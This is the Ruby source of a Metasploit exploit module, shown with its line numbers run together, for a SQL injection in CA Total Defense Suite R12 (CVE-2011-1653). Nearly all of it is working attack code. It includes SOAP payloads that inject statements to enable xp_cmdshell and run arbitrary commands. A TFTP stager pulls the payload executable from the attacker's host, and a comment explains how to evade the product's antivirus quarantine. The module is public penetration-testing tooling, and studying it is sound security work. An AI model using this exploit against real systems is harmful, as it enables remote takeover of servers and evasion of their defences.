Path: blob/master/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::CmdStager9include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::EXE1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'CA Total Defense Suite reGenerateReports Stored Procedure SQL Injection',17'Description' => %q{18This module exploits a SQL injection flaw in CA Total Defense Suite R12.19When supplying a specially crafted soap request to '/UNCWS/Management.asmx', an20attacker can abuse the reGenerateReports stored procedure by injecting arbitrary sql21statements into the ReportIDs element.22},23'Author' => [ 'MC' ],24'License' => MSF_LICENSE,25'References' => [26[ 'ZDI', '11-134' ],27[ 'OSVDB', '74968'],28[ 'CVE', '2011-1653' ],29],30'Targets' => [31[32'Windows Universal',33{34'Arch' => ARCH_X86,35'Platform' => 'win'36}37]38],39'CmdStagerFlavor' => 'tftp',40'Privileged' => true,41'Platform' => 'win',42'DisclosureDate' => '2011-04-13',43'DefaultTarget' => 0,44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152register_options(53[54Opt::RPORT(34443),55OptBool.new('SSL', [ true, 'Use SSL', true ]),56OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])57]58)59end6061def windows_stager62print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")63tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']64execute_cmdstager({ temp: '.', tftphost: tftphost })65@payload_exe = generate_payload_exe6667print_status("Attempting to execute the payload...")68execute_command(@payload_exe)69end7071def execute_command(cmd, opts = {})72# NOTE: This module was tested against the MS SQL Server 2005 Express bundled with73# CA Total Defense Suite R12. CA's Total Defense Suite real-time protection74# will quarantine the default framework executable payload. Choosing an alternate75# exe template will bypass the quarantine.7677inject = [78"'') exec master.dbo.sp_configure 'show advanced options', 1;reconfigure;--",79"'') exec master.dbo.sp_configure 'xp_cmdshell',1;reconfigure;--",80"'') exec master.dbo.xp_cmdshell 'cmd.exe /c #{cmd}';--",81]8283inject.each do |sqli|84soap = %Q|<?xml version="1.0" encoding="utf-8"?>85<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">86<soap12:Body>87<reGenerateReports xmlns="http://tempuri.org/">88<EnterpriseID>msf</EnterpriseID>89<ReportIDs>#{sqli}</ReportIDs>90<UserID>187</UserID>91</reGenerateReports>92</soap12:Body>93</soap12:Envelope>94|9596res = send_request_cgi(97{98'uri' => '/UNCWS/Management.asmx',99'method' => 'POST',100'version' => '1.0',101'ctype' => 'application/soap+xml; charset=utf-8',102'data' => soap,103}, 5104)105106if (res and res.body =~ /SUCCESS/)107# print_good("Executing command...")108else109fail_with(Failure::Unknown, 'Something went wrong.')110end111end112end113114def exploit115unless datastore['CMD'].blank?116print_status("Executing command '#{datastore['CMD']}'")117execute_command(datastore['CMD'])118return119end120121case target['Platform']122when 'win'123windows_stager124else125fail_with(Failure::Unknown, 'Target not supported.')126end127128handler129end130end131__END__132POST /UNCWS/Management.asmx HTTP/1.1133Host: 192.168.31.129134Content-Type: application/soap+xml; charset=utf-8135Content-Length: length136137<?xml version="1.0" encoding="utf-8"?>138<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">139<soap12:Body>140<reGenerateReports xmlns="http://tempuri.org/">141<EnterpriseID>string</EnterpriseID>142<ReportIDs>string</ReportIDs> <--boom!!143<UserID>long</UserID>144</reGenerateReports>145</soap12:Body>146</soap12:Envelope>147148149